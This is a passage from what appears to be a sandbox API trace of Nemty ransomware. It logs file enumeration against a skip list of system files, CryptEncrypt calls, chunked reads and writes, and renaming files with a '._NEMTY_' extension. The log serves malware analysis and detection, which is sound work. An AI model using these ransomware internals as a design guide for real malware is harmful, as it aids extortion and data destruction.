out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.076] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0145.076] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.076] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0145.085] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.085] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0145.085] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.085] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0145.095] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.095] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0145.095] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.095] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0145.101] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.101] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0145.101] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.101] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0145.107] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.107] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0145.107] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.107] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340328, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0145.107] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0145.107] CloseHandle (hObject=0xffffffff) returned 0 [0145.107] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340498 [0145.107] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0145.107] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0145.107] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0145.107] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0145.108] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0145.108] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0145.108] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63440b0 [0145.108] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0145.108] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0145.108] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\item_hover_floating.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\item_hover_floating.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\item_hover_floating.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\item_hover_floating.png._nemty_kgobjgd_")) returned 0 [0145.108] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0145.108] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340498 | out: hHeap=0x4f90000) returned 1 [0145.108] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0145.108] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0145.108] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0145.108] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0145.108] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0145.108] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0145.108] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0145.108] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0145.108] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84e9e79e, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84e9e79e, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3ce9af45, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xb6e, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="item_hover_flyout.png", cAlternateFileName="")) returned 1 [0145.108] lstrcmpiW (lpString1="item_hover_flyout.png", lpString2=".") returned 1 [0145.108] lstrcmpiW (lpString1="item_hover_flyout.png", lpString2="..") returned 1 [0145.108] lstrcmpiW (lpString1="item_hover_flyout.png", lpString2="...") returned 1 [0145.108] lstrcmpiW (lpString1="item_hover_flyout.png", lpString2="windows") returned -1 [0145.108] lstrcmpiW (lpString1="item_hover_flyout.png", lpString2="$RECYCLE.BIN") returned 1 [0145.108] lstrcmpiW (lpString1="item_hover_flyout.png", lpString2="rsa") returned -1 [0145.108] lstrcmpiW (lpString1="item_hover_flyout.png", lpString2="NTDETECT.COM") returned -1 [0145.108] lstrcmpiW (lpString1="item_hover_flyout.png", lpString2="ntldr") returned -1 [0145.108] lstrcmpiW (lpString1="item_hover_flyout.png", lpString2="MSDOS.SYS") returned -1 [0145.108] lstrcmpiW (lpString1="item_hover_flyout.png", lpString2="IO.SYS") returned 1 [0145.108] lstrcmpiW (lpString1="item_hover_flyout.png", lpString2="boot.ini") returned 1 [0145.108] lstrcmpiW (lpString1="item_hover_flyout.png", lpString2="boot.ini") returned 1 [0145.108] lstrcmpiW (lpString1="item_hover_flyout.png", lpString2="AUTOEXEC.BAT") returned 1 [0145.108] lstrcmpiW (lpString1="item_hover_flyout.png", lpString2="ntuser.dat") returned -1 [0145.108] lstrcmpiW (lpString1="item_hover_flyout.png", lpString2="desktop.ini") returned 1 [0145.109] lstrcmpiW (lpString1="item_hover_flyout.png", lpString2="CONFIG.SYS") returned 1 [0145.109] lstrcmpiW (lpString1="item_hover_flyout.png", lpString2="RECYCLER") returned -1 [0145.109] lstrcmpiW (lpString1="item_hover_flyout.png", lpString2="BOOTSECT.BAK") returned 1 [0145.109] lstrcmpiW (lpString1="item_hover_flyout.png", lpString2="bootmgr") returned 1 [0145.109] lstrcmpiW (lpString1="item_hover_flyout.png", lpString2="programdata") returned -1 [0145.109] lstrcmpiW (lpString1="item_hover_flyout.png", lpString2="appdata") returned 1 [0145.109] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0145.109] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="item_hover_flyout.png", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0145.109] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0145.109] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="item_hover_flyout.png", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="item_hover_flyout.png", lpUsedDefaultChar=0x0) returned 21 [0145.109] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0145.109] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0145.109] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="item_hover_flyout.png", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0145.109] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0145.109] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="item_hover_flyout.png", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="item_hover_flyout.png", lpUsedDefaultChar=0x0) returned 21 [0145.109] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0145.109] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0145.109] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0145.109] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0145.109] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="item_hover_flyout.png", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0145.109] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0145.109] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="item_hover_flyout.png", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="item_hover_flyout.png", lpUsedDefaultChar=0x0) returned 21 [0145.109] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0145.109] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0145.109] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="item_hover_flyout.png", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0145.109] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0145.109] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="item_hover_flyout.png", cchWideChar=21, lpMultiByteStr=0x4f9ed58, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="item_hover_flyout.png", lpUsedDefaultChar=0x0) returned 21 [0145.109] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0145.109] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340110 [0145.109] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0145.109] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63401c8 [0145.109] Sleep (dwMilliseconds=0x5) [0145.125] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xa25dc50, dwHighDateTime=0x1d561e8)) [0145.125] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xa25dc50, dwHighDateTime=0x1d561e8)) [0145.125] GetLastError () returned 0x5 [0145.125] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0145.125] GetLastError () returned 0x5 [0145.125] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0145.125] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0145.125] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0145.125] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0145.125] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0145.125] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0145.125] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340280 [0145.125] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340280, pcchString=0x653e91c | out: pszString="pCcNIcVZNEOt8BK1Mdz0tkbKPjvKHZEC7Lq1+ITRkKbddgxpbzP2NCd/B3IaY/Yw\r\n27vr81YV3TPJ0W06e79iTCpnzj40wzzeSZDG/Qcdt0XsT4A0MJbTYwhnN7b+82ys\r\nbNaHh/6VIu1x6SInJIdvlYSLDOrSnb0f/e/bo9XApmE2c08eVyQdwRnlwxs8v4Zv\r\nH47nwdrBk4PYIRkRNu3XSz8mDK6n7ud4ASCudEbzyWqFY9YOKYWzYASSqKAAoJsN\r\nJ+3X7UFjd6oe08svh6tFABwRiyWo1N/88pDTep3LUErbqlTL7aGGNUkQ7dr4q5y2\r\nfEU6uZ0uKaSecyuycwkjUw==\r\n", pcchString=0x653e91c) returned 1 [0145.125] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0145.125] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340280 | out: hHeap=0x4f90000) returned 1 [0145.125] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0145.125] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0145.125] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340280 [0145.125] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0145.125] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\item_hover_flyout.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\item_hover_flyout.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0145.126] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0145.126] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0145.126] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.126] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0145.135] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.135] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0145.136] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.136] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0145.145] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.145] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0145.145] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.145] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0145.154] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.154] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0145.154] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.154] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0145.163] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.163] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0145.163] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.163] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0145.173] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.173] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0145.173] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.173] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0145.182] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.182] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0145.182] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.182] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0145.191] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.191] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0145.192] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.192] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0145.201] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.201] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0145.201] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.201] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0145.210] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.210] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0145.210] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.210] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0145.220] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.220] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0145.220] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.220] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0145.226] SetFilePointer 